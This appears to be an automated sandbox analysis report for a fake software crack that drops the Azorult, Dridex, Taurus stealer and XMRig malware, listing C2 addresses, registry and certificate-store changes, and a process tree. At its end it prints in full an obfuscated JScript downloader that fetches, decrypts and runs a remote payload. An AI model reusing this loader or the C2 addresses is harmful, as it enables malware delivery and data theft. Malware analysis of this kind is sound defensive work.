Analysis
-
max time kernel
90s -
max time network
1806s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
04-04-2021 05:12
Static task
static1
Behavioral task
behavioral1
Sample
Lynda_Com_Word_crack.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Lynda_Com_Word_crack.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Lynda_Com_Word_crack.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Lynda_Com_Word_crack.exe
Resource
win10v20201028
General
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
dridex
10111
210.65.244.183:8443
216.10.251.121:6601
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Taurus Stealer Payload 1 IoCs
Processes:
resource yara_rule behavioral5/memory/2564-234-0x0000000000400000-0x000000000587C000-memory.dmp family_taurus_stealer -
Processes:
resource yara_rule behavioral5/memory/2168-204-0x0000000000400000-0x000000000043D000-memory.dmp dridex_ldr behavioral5/memory/2168-236-0x0000000000400000-0x000000000043D000-memory.dmp dridex_ldr -
XMRig Miner Payload 4 IoCs
Processes:
resource yara_rule behavioral5/memory/2108-223-0x00000001402CA898-mapping.dmp xmrig behavioral5/memory/2108-222-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral5/memory/2108-226-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral5/memory/2108-229-0x0000000140000000-0x000000014070A000-memory.dmp xmrig -
Downloads MZ/PE file
-
Executes dropped EXE 10 IoCs
Processes:
keygen-pr.exekeygen-step-1.exekeygen-step-3.exekeygen-step-4.exekey.exeSetup.exemultitimer.exesetups.exeaskinstall20.exesetups.tmppid process 1596 keygen-pr.exe 628 keygen-step-1.exe 540 keygen-step-3.exe 1048 keygen-step-4.exe 1620 key.exe 824 Setup.exe 736 multitimer.exe 3032 setups.exe 2392 askinstall20.exe 1368 setups.tmp -
Loads dropped DLL 23 IoCs
Processes:
cmd.exekeygen-step-4.exekeygen-pr.exekey.exesetups.exesetups.tmppid process 1140 cmd.exe 1140 cmd.exe 1140 cmd.exe 1140 cmd.exe 1140 cmd.exe 1048 keygen-step-4.exe 1596 keygen-pr.exe 1596 keygen-pr.exe 1596 keygen-pr.exe 1596 keygen-pr.exe 1048 keygen-step-4.exe 1048 keygen-step-4.exe 1048 keygen-step-4.exe 1620 key.exe 1048 keygen-step-4.exe 1048 keygen-step-4.exe 1048 keygen-step-4.exe 1048 keygen-step-4.exe 3032 setups.exe 1368 setups.tmp 1368 setups.tmp 1368 setups.tmp 1368 setups.tmp -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 345 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
firefox.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 2320 timeout.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 3628 taskkill.exe -
Processes:
iexplore.exeIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{219007B1-9516-11EB-9AD1-4AAA7B04F187} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe -
Modifies registry class 2 IoCs
Processes:
firefox.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\MuiCache firefox.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_Classes\Local Settings firefox.exe -
Processes:
askinstall20.exeSetup.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e askinstall20.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde Setup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 askinstall20.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e askinstall20.exe -
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
chrome.exechrome.exechrome.exesetups.tmppid process 2052 chrome.exe 2236 chrome.exe 1400 chrome.exe 1400 chrome.exe 1368 setups.tmp -
Suspicious use of AdjustPrivilegeToken 36 IoCs
Processes:
Setup.exeaskinstall20.exetaskkill.exedescription pid process Token: SeDebugPrivilege 824 Setup.exe Token: SeCreateTokenPrivilege 2392 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 2392 askinstall20.exe Token: SeLockMemoryPrivilege 2392 askinstall20.exe Token: SeIncreaseQuotaPrivilege 2392 askinstall20.exe Token: SeMachineAccountPrivilege 2392 askinstall20.exe Token: SeTcbPrivilege 2392 askinstall20.exe Token: SeSecurityPrivilege 2392 askinstall20.exe Token: SeTakeOwnershipPrivilege 2392 askinstall20.exe Token: SeLoadDriverPrivilege 2392 askinstall20.exe Token: SeSystemProfilePrivilege 2392 askinstall20.exe Token: SeSystemtimePrivilege 2392 askinstall20.exe Token: SeProfSingleProcessPrivilege 2392 askinstall20.exe Token: SeIncBasePriorityPrivilege 2392 askinstall20.exe Token: SeCreatePagefilePrivilege 2392 askinstall20.exe Token: SeCreatePermanentPrivilege 2392 askinstall20.exe Token: SeBackupPrivilege 2392 askinstall20.exe Token: SeRestorePrivilege 2392 askinstall20.exe Token: SeShutdownPrivilege 2392 askinstall20.exe Token: SeDebugPrivilege 2392 askinstall20.exe Token: SeAuditPrivilege 2392 askinstall20.exe Token: SeSystemEnvironmentPrivilege 2392 askinstall20.exe Token: SeChangeNotifyPrivilege 2392 askinstall20.exe Token: SeRemoteShutdownPrivilege 2392 askinstall20.exe Token: SeUndockPrivilege 2392 askinstall20.exe Token: SeSyncAgentPrivilege 2392 askinstall20.exe Token: SeEnableDelegationPrivilege 2392 askinstall20.exe Token: SeManageVolumePrivilege 2392 askinstall20.exe Token: SeImpersonatePrivilege 2392 askinstall20.exe Token: SeCreateGlobalPrivilege 2392 askinstall20.exe Token: 31 2392 askinstall20.exe Token: 32 2392 askinstall20.exe Token: 33 2392 askinstall20.exe Token: 34 2392 askinstall20.exe Token: 35 2392 askinstall20.exe Token: SeDebugPrivilege 3628 taskkill.exe -
Suspicious use of FindShellTrayWindow 10 IoCs
Processes:
chrome.exefirefox.exeiexplore.exepid process 1400 chrome.exe 1400 chrome.exe 1400 chrome.exe 1400 chrome.exe 1400 chrome.exe 2364 firefox.exe 2364 firefox.exe 2364 firefox.exe 2364 firefox.exe 972 iexplore.exe -
Suspicious use of SendNotifyMessage 3 IoCs
Processes:
firefox.exepid process 2364 firefox.exe 2364 firefox.exe 2364 firefox.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
iexplore.exeIEXPLORE.EXEpid process 972 iexplore.exe 972 iexplore.exe 2648 IEXPLORE.EXE 2648 IEXPLORE.EXE 2648 IEXPLORE.EXE 2648 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Lynda_Com_Word_crack.exechrome.exechrome.execmd.exekeygen-pr.exekeygen-step-4.exedescription pid process target process PID 1084 wrote to memory of 1140 1084 Lynda_Com_Word_crack.exe cmd.exe PID 1084 wrote to memory of 1140 1084 Lynda_Com_Word_crack.exe cmd.exe PID 1084 wrote to memory of 1140 1084 Lynda_Com_Word_crack.exe cmd.exe PID 1084 wrote to memory of 1140 1084 Lynda_Com_Word_crack.exe cmd.exe PID 296 wrote to memory of 1236 296 chrome.exe chrome.exe PID 296 wrote to memory of 1236 296 chrome.exe chrome.exe PID 296 wrote to memory of 1236 296 chrome.exe chrome.exe PID 1400 wrote to memory of 840 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 840 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 840 1400 chrome.exe chrome.exe PID 1140 wrote to memory of 1596 1140 cmd.exe keygen-pr.exe PID 1140 wrote to memory of 1596 1140 cmd.exe keygen-pr.exe PID 1140 wrote to memory of 1596 1140 cmd.exe keygen-pr.exe PID 1140 wrote to memory of 1596 1140 cmd.exe keygen-pr.exe PID 1140 wrote to memory of 1596 1140 cmd.exe keygen-pr.exe PID 1140 wrote to memory of 1596 1140 cmd.exe keygen-pr.exe PID 1140 wrote to memory of 1596 1140 cmd.exe keygen-pr.exe PID 1140 wrote to memory of 628 1140 cmd.exe keygen-step-1.exe PID 1140 wrote to memory of 628 1140 cmd.exe keygen-step-1.exe PID 1140 wrote to memory of 628 1140 cmd.exe keygen-step-1.exe PID 1140 wrote to memory of 628 1140 cmd.exe keygen-step-1.exe PID 1140 wrote to memory of 540 1140 cmd.exe keygen-step-3.exe PID 1140 wrote to memory of 540 1140 cmd.exe keygen-step-3.exe PID 1140 wrote to memory of 540 1140 cmd.exe keygen-step-3.exe PID 1140 wrote to memory of 540 1140 cmd.exe keygen-step-3.exe PID 1140 wrote to memory of 1048 1140 cmd.exe keygen-step-4.exe PID 1140 wrote to memory of 1048 1140 cmd.exe keygen-step-4.exe PID 1140 wrote to memory of 1048 1140 cmd.exe keygen-step-4.exe PID 1140 wrote to memory of 1048 1140 cmd.exe keygen-step-4.exe PID 1596 wrote to memory of 1620 1596 keygen-pr.exe key.exe PID 1596 wrote to memory of 1620 1596 keygen-pr.exe key.exe PID 1596 wrote to memory of 1620 1596 keygen-pr.exe key.exe PID 1596 wrote to memory of 1620 1596 keygen-pr.exe key.exe PID 1596 wrote to memory of 1620 1596 keygen-pr.exe key.exe PID 1596 wrote to memory of 1620 1596 keygen-pr.exe key.exe PID 1596 wrote to memory of 1620 1596 keygen-pr.exe key.exe PID 1048 wrote to memory of 824 1048 keygen-step-4.exe Setup.exe PID 1048 wrote to memory of 824 1048 keygen-step-4.exe Setup.exe PID 1048 wrote to memory of 824 1048 keygen-step-4.exe Setup.exe PID 1048 wrote to memory of 824 1048 keygen-step-4.exe Setup.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe PID 1400 wrote to memory of 1728 1400 chrome.exe chrome.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Lynda_Com_Word_crack.exe"C:\Users\Admin\AppData\Local\Temp\Lynda_Com_Word_crack.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\6E6R66WA84\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\6E6R66WA84\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\6E6R66WA84\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\6E6R66WA84\multitimer.exe" 1 1016⤵
-
C:\Users\Admin\AppData\Local\Temp\PSS622DACF\setups.exe"C:\Users\Admin\AppData\Local\Temp\PSS622DACF\setups.exe" ll5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-H588L.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-H588L.tmp\setups.tmp" /SL5="$301BE,635399,250368,C:\Users\Admin\AppData\Local\Temp\PSS622DACF\setups.exe" ll6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://catser.inappapiurl.com/redirect/57a764d042bf8/7⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:972 CREDAT:275457 /prefetch:28⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /q /c cd /d "%tmp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/["Wait"+"ForResponse"]();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript.Echo(),o="Object",A=Math,a=Function("b","return WScript.Create"+o+"(b)");P=(""+WScript).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=WScript.Arguments,e="WinHTTP",Z="cmd",Q=a("WinH"+"ttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=WScript[P+"FullName"],E="."+p;Y="Type";s[Y]=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(32-1^<d){var z=1;x+="dll"}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp "cvbdfg" 